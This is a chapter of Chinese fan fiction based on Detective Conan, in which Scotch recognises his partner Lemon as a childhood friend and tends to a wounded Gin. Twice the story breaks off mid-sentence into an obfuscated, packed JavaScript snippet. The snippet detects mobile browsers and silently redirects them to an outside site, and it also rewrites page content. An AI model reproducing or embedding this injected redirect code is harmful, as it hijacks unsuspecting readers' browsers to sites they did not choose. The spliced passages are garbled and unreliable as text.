【诸伏景光第一次见到新搬来的邻居家的小女孩的时候也是在一个连绵的雨天。接连下了三天的雨,他身上都差点长霉菌。爸爸妈妈叫他下楼,他噔噔噔跑下去,发现爸爸妈妈和哥哥都在沙发一侧坐着。 另一侧是一个头发花白的婆婆牵着一个小女孩。 诸伏景光从没见过那么好看的女孩子,雪白的皮肤、红润的脸颊、樱桃一样的嘴唇,还有淡金色的长发。 妈妈捂着嘴偷笑,小声和哥哥诸伏高明说:“看,小景脸红了。” 诸伏景光同手同脚地走到了沙发边,在哥哥身边坐下,正对面就是那个漂亮到不可思议的女孩子。 婆婆介绍了她的名字,诸伏景光一直记得,直到很多年后也记得。 她叫知花裕树。 后来他们一直叫她小树。 小树不是个难相处的人,但也不好相处。她才五岁,最喜欢的事情就是抱着一本书坐在那里看,书名叫《伯恩斯新情绪疗法》,也不知道能看懂多少。 诸伏景光就蹲她旁边看她。 他经常和小树分享趣事,只要他说,她一定会客气地回几句“原来如此”“真有意思”“竟然这样”“哈哈哈哈”。 诸伏景光觉得哪里有点怪,但也不好说。 时间久了,小树终于主动同他说话了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14240494|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我怀疑你是依赖型人格障碍。” 她巴拉巴拉说了一堆,诸伏景光没怎么听懂,但看她目光中隐含期待,他狠狠点头。 然后小树就拉着他的衣袖说要带他出门买药,“感谢你成为我的第一位临床患者。哦对了,你叫什么?” 诸伏景光的脸再次涨红,小声说:“景。叫我景吧。” 两人还没走出门口,就被小树的外婆截住了。外婆轻轻给了小树的脑袋一拳,小树顿了足足三秒才抱住脑袋叫了声“痛!”。 外婆判了小树的非法行医罪,并剥夺了她继续看书的权利,然后柔声拜托诸伏景光多带她出去玩一玩。 “小树没什么朋友,要麻烦小景多照顾一下了。” 小女孩面无表情反驳:“才不是,我有朋友,在我脑子里住着呢。” 外婆:“胡说八道!” 得到旨意的诸伏景光时常带着小树去后山玩,和山村操一起捉甲虫。当然,小树一般是到了地方,自己找棵树爬上去,然后就躺在树杈上睡觉。 她说:“我来到这个世界是有使命的,我的身份非同一般,怎么能和你们凡人一样做这种事?我才不需要朋友。” 诸伏景光自己找了手工教程,熬了一个晚上,做出了一枚幸运御守,送给小树。 御守的颜色同他的眼睛是一样的,这样就好像它能代替他一直陪在小树身边。 “这是送你的小学入学礼物,希望它可以帮你祈求到好运,喜欢吗?” 小树把它带到了脖子上,点头:“嗯,喜欢。” 诸伏景光和她说:“小树,明年要来我的学校上学哦。” 他比小树大两岁,已经是上小学的年纪。而小树,要明年才进入小学。 女孩子叹了口气,“我知道了,景。一言既出,驷马难追,我会去的。”】 莱蒙脖子上的御守正是他当年送给小树的那一枚。 虽然说幸运御守到处都是,但诸伏景光不会认错,那毕竟是他曾经亲手制作的,针脚简单粗陋,以他现在的眼光看,实在太过粗糙。 意识到这一点后,很多疑问豁然开朗。 之所以他会觉得莱蒙眼熟,是因为儿时他真的同他当过亲密无间的伙伴,虽然只有短短的两个星期。 因为就在诸伏景光送小树御守后不久,诸伏家就发生了那起令他失去父母的案件。诸伏景光因此得了失语症,被东京的亲戚接走照顾。 几个月后,浑浑噩噩的他回到长野县同哥哥见面,才知道隔壁的婆婆不久前出了车祸,已经过世,小树也被其他亲戚接走。没有人知道他去了哪里。 从此记忆就渐渐模糊,苏格兰才没有第一时间认出莱蒙。 而且对方也和小时候比起来变化太大了。淡金色长发变成了银色短发,甚至连性别都变了,他也是因此一直没将两个人联系到一起,等等—— 仔细说起来,那两个星期的时候似乎从来没有人说过小树是个女孩子,而最初婆婆介绍他的时候,他所有的注意力都在小树身上,只最后听到婆婆说他的名字。 是因为小树长得太好看了,所以他才下意识觉得对方是个女孩子。 这其实也不怪他,莱蒙本来就长得异于常人地好看,儿时男性特征不明显,会被认成女孩子也再正常不过,但糟糕的是—— 那时候他因为小树更喜欢哥哥而非常郁闷,还跑去和哥哥信誓旦旦地说:“哥哥,就算小树更喜欢你我也不会放弃。等我长大了,要让小树成为我的妻子!” 苏格兰痛苦面具。 难怪那时候哥哥面色古怪,还差点被水呛到,一向沉稳睿智的少年竟有几分不知所措,沉默许久才道:“勇气可嘉。” 25.第二十五章(增补部分内容) 大雨忽然而至,没带伞的两个人回到别墅都淋成了落汤鸡,直奔浴室而去。一二层各有一间浴室,一层的在莱蒙的房间,二层的在健身房。 苏格兰打开健身房浴室的淋浴,凉水冲下来使得大脑清晰了许多。 就现在的状况看,莱蒙应该并没有认出他。这对他来说是好事,假如对方最初就认了出来,那他的卧底身份一开始就会暴露。 但是同时也会有隐患,因为对方随时可能会认出他。 苏格兰关掉淋浴,擦干净身体,从旁边柜子里拿出未拆封的浴袍换上。 洗漱镜被热气熏出一圈白雾,他抹开水渍,镜子里倒映出男人锋利的眉眼和到了晚上变得略长的胡茬。 除了这双猫眼,现在的他和小时候一点也不像,难怪小……莱蒙没有认出来。 其实莱蒙也和小时候很不一样。小时候的他总是被外婆打扮得五彩缤纷,皮肤虽然也白,但脸颊红润,像水蜜桃一般。不像现在,冷白的皮肤如同雪水,好像连血管里流动的都是无色的液体。 有时候他坐在那里一动不动,简直像一具尸体。 而且小时候的莱蒙哪怕冷着脸也软萌可爱,短腿短手像个洋娃娃,一条街的阿姨没有不喜欢他的。 所以真的不怪他会认错,谁能想到软萌可爱的小妹妹长大了会是身高接近一米八,肌肉结实流畅,一拳下去能干死一片的男人啊! 虽然说凭借御守认出对方后,他再回忆,确实能感觉到两个人五官很像,甚至仔细一想,性格上也仍然有相似之处。 但是小树到底为什么会变成组织里的代号成员莱蒙,当年离开长野县后他身上到底发生过什么? 已经17年了。 这17年间,到底都发生了什么。 …… 知花裕树舒舒服服地泡完澡,趿拉着拖鞋从房间走出来。苏格兰没回自己房间,也在起居室坐着。窗帘只拉了一半,窗外狂风暴雨、电闪雷鸣。 苏格兰穿着白色浴袍,一只手放在膝盖上,一只手撑在下巴处,浴袍领口微微敞开,隐约露出狙击手锻炼非常到位的胸肌。 他又在发呆。 “你在cos思想者吗?”知花裕树路过评价道。 他穿着苏格兰的同款白色浴袍,领口规规整整,浴袍带也一丝不苟束起来,头发像阿拉伯人似的包了块白毛巾。刚洗过澡,脸上却也没什么血色。 苏格兰:“……” 一想到儿时在哥哥面前说过的豪言壮语,苏格兰现在就有种不知道该怎么面对莱蒙的感觉。 明明有更多需要思考的事,但只要看到他,脑子里就会循环播放那句振聋发聩的“等我长大了,要让小树成为我的妻子!”。 ……救救他。 深呼吸。 没事的没事的,谁还没个童言无忌的时候,小时候的话怎么能当真,更何况看样子莱蒙已经把他这个人彻底从记忆里删除了。 “没有,我先去休息了。”苏格兰起身,神色没有丝毫异样,他看向银发少年,后者看出他有话要说,微微歪了下脑袋。 尽管打扮得有些古怪,却丝毫不减他的美貌,就连时光也仿佛偏爱他。算起来已有22的年纪,却仍如十七八的少年一般。 苏格兰忍不住抬手拍了拍他的阿拉伯造型,“记得吹干头发再去睡。” 知花裕树:“哦。” 苏格兰手刚收回来,门口的门铃忽然唱道:“欢迎光临,莱蒙问您父母好~” 大门缓缓打开,一道漆黑沉郁的人影出现在门口。 是琴酒。 他浑身湿漉漉的,走进来的时候滴滴答答往地板上漏水,里面还混着丝丝缕缕的腥红。 屋外大雨瓢泼,屋里的两个人穿着同款浴袍,站得极近,其中一人的领口还松松垮垮,不知道刚刚干了什么。 琴酒狠狠皱眉,他差点忘了苏格兰现在是莱蒙的搭档,所以出现在他的别墅也不奇怪。 “黑,你受伤了!”知花裕树惊讶地说。 他已经很久没见过黑受伤了。 组织和一些地下诊疗所有合作,成员受伤后一般都会选择去这些诊疗所找医生解决。 知花裕树的身体特殊,他不想让别人给他治伤,就在裕树小屋单独修了间麻雀虽小、五脏俱全的医务室。 后来被黑发现了,他就也开始来。 对于黑,知花裕树是愿意给些优待的。这间医务室就成了两人独用的医务室。 不过近两年琴酒很少再受伤,再加上他很嫌弃莱蒙在树林里搞的那些花里胡哨的东西,所以除了避不开的情况,就很少再主动来这里。 琴酒闷不吭声,一只手捂着腹部,血从指缝里啪嗒嗒往下掉。医务室在一楼左侧。 他瞥了两人一眼,直接往医务室走去,浑身气压低得像谁刚花了他八百万。 确实刚花了他八百万的知花裕树正打算回房间关机休息,系统在他脑子里压低声音叫道:[我检测到黑身上有剧烈能量波动,他身上很可能携带了宝物,大秘宝那种!] 脑子里的声音也没别人能听见,不知道它压低声音是为了啥。 知花裕树迅速转变主意,抬起的腿也跟着迈往医务室的方向。 “苏格兰你先去睡,我去帮下黑!” 苏格兰看着银发少年追上了黑色的身影,琴酒侧过头去看他,露出的脸色竟然和缓了些许,虽然依旧拧着眉头,但默许了少年走在他身侧,笑眯眯地去拉他袖子,问他需不需要搀扶服务。 【“几乎所有人都说莱蒙和琴酒的关系非同一般……”】 好友波本的话回荡在耳边,苏格兰蹙紧眉头,冷哼了下。 不可能,小树最喜欢有知识有文化的类型,琴酒显然不在此列。 …… 去抓琴酒衣袖的手不出所料被甩开了,知花裕树仍然笑眯眯的,并不介意。 知花裕树:[怎么样,系统,检测到位置了吗?] 系统:[检测到了检测到了,在他裤子口袋里。] [啊?]知花裕树偷瞄了一眼,[这个地方我怎么拿?我把手放进他裤子口袋里,他会直接把我手砍掉吧?而且我也根本做不出这种事。] 系统沉默一会儿,[你别问我,我只是统,又不懂你们人类。] 知花裕树:[……] 两人走进了医务室,琴酒熟门熟路地去翻外伤用药。 之前琴酒来莱蒙的医务室时,莱蒙也跟着进来过一两次。不过他一般都同他保持两米以上的距离,盘腿坐在诊疗床上给他念没用的医书,并进行讨厌的指导。 “不对,黑!书上说要小心清理创口,你这个样子会加重伤势。” “黑,你得用麻醉药……啊,麻醉后谁给你处理伤口,我怎么知道,我又不是医生。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14253132|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑,我觉得你可能还存在精神方面的问题,你要把它当回事……我是什么?你可以当我是你的精神科主治医生。” 虽然烦得要死,但莱蒙这里确实是难得可以让他短暂放松神经的地方。就算受了重伤,也不用担心养伤途中被叛徒或者卧底抓住破绽。 他很清楚,莱蒙和他是一类人。 他们都绝不会背叛组织。 不过今天似乎有些不同。 莱蒙自从莫名其妙治好恐雄性生物症后好像变了许多,比如此刻。 银发少年从他手里夺过生理盐水、绷带等物品,振振有词道:“我来帮忙吧!” 腹部的伤虽然不算很严重,但他淋了雨,衣服黏在身上很不舒服,以至于太阳穴都在一凸一凸地跳,琴酒没有拒绝。 知花裕树先把药物和绷带放到桌子上,翻出一条毛巾和一身干净病号服。 “你这样不行,得先把身上的水擦干净。” 或许是受了伤,琴酒竟异常乖巧,闷闷地“嗯”了声。 他并没避着知花裕树,当着他的面把风衣衬衫脱到一边。知花裕树期待地看着他,但琴酒没有继续脱裤子,而是拿起毛巾擦上半身的水。 琴酒的身材非常好,标准的倒三角,宽肩窄腰,腹肌沟壑分明,凸起得恰到好处,就算放在知花裕树原本那个颜值身材被着重提升过的世界也能进入前三。 不过知花裕树不是那个懂得欣赏的观众。他满脑子只有从琴酒的裤子口袋里偷,啊不是,拿东西。 “还是我来吧,你这样会牵动伤口。”知花裕树把手伸到琴酒面前,后者顿了下,把毛巾放到他手里。 琴酒的身高将近190cm,知花裕树比他矮了一个头,帮他擦后背是正好的高度。 知花裕树眼睛转了一圈,手下动作着,嘴里说道:“我给你拿的那套干净衣服有裤子的,你看你这样湿着多难受,不如把裤子也脱下来换掉?” 知花裕树试探着把手伸向他口袋。 琴酒一把抓住他手腕。 医务室的门就在这时候被再度推开。 “我给你们倒了两杯热茶……”苏格兰的声音顿住。 银发男人赤.裸着精壮的上半身,腹部的伤已经不再流血,少年几乎贴在他后背,一只手还在往身前人的下半.身探,男人攥着他的手腕,抬眸往门口看了眼,才对身后少年哑声道:“别乱动。” 苏格兰很快反应过来,把放着两杯热水的茶盘放在桌子上,淡笑着说:“莱蒙,你是在帮琴酒上药吗?需要帮忙吗?我很擅长做这个。” “苏格兰,谁准你进来的?”琴酒冷冷地眄了他一眼。 苏格兰依然保持着微笑,“我没弄错的话,这里似乎是我和搭档的地方,我出现在这里有什么问题吗?琴酒,你该放开莱蒙的手腕了,他都被你捏红了。” 银发少年皮肤雪白,似乎很容易留下痕迹。琴酒垂眸瞥过被攥住手里的手腕,边缘确实泛着淡淡的红。 应该会很适合被按在深色床单上。 “不是要给我上药吗?”琴酒淡淡收回目光,没有人知道他在想什么,他和莱蒙说着话,眼睛却冷冷地和苏格兰对视。 不,或许眼前这个男人知道。 “莱蒙的手腕恐怕不舒服,还是让我来帮忙吧。” 两个人同时看向知花裕树。 知花裕树:? 看我干嘛?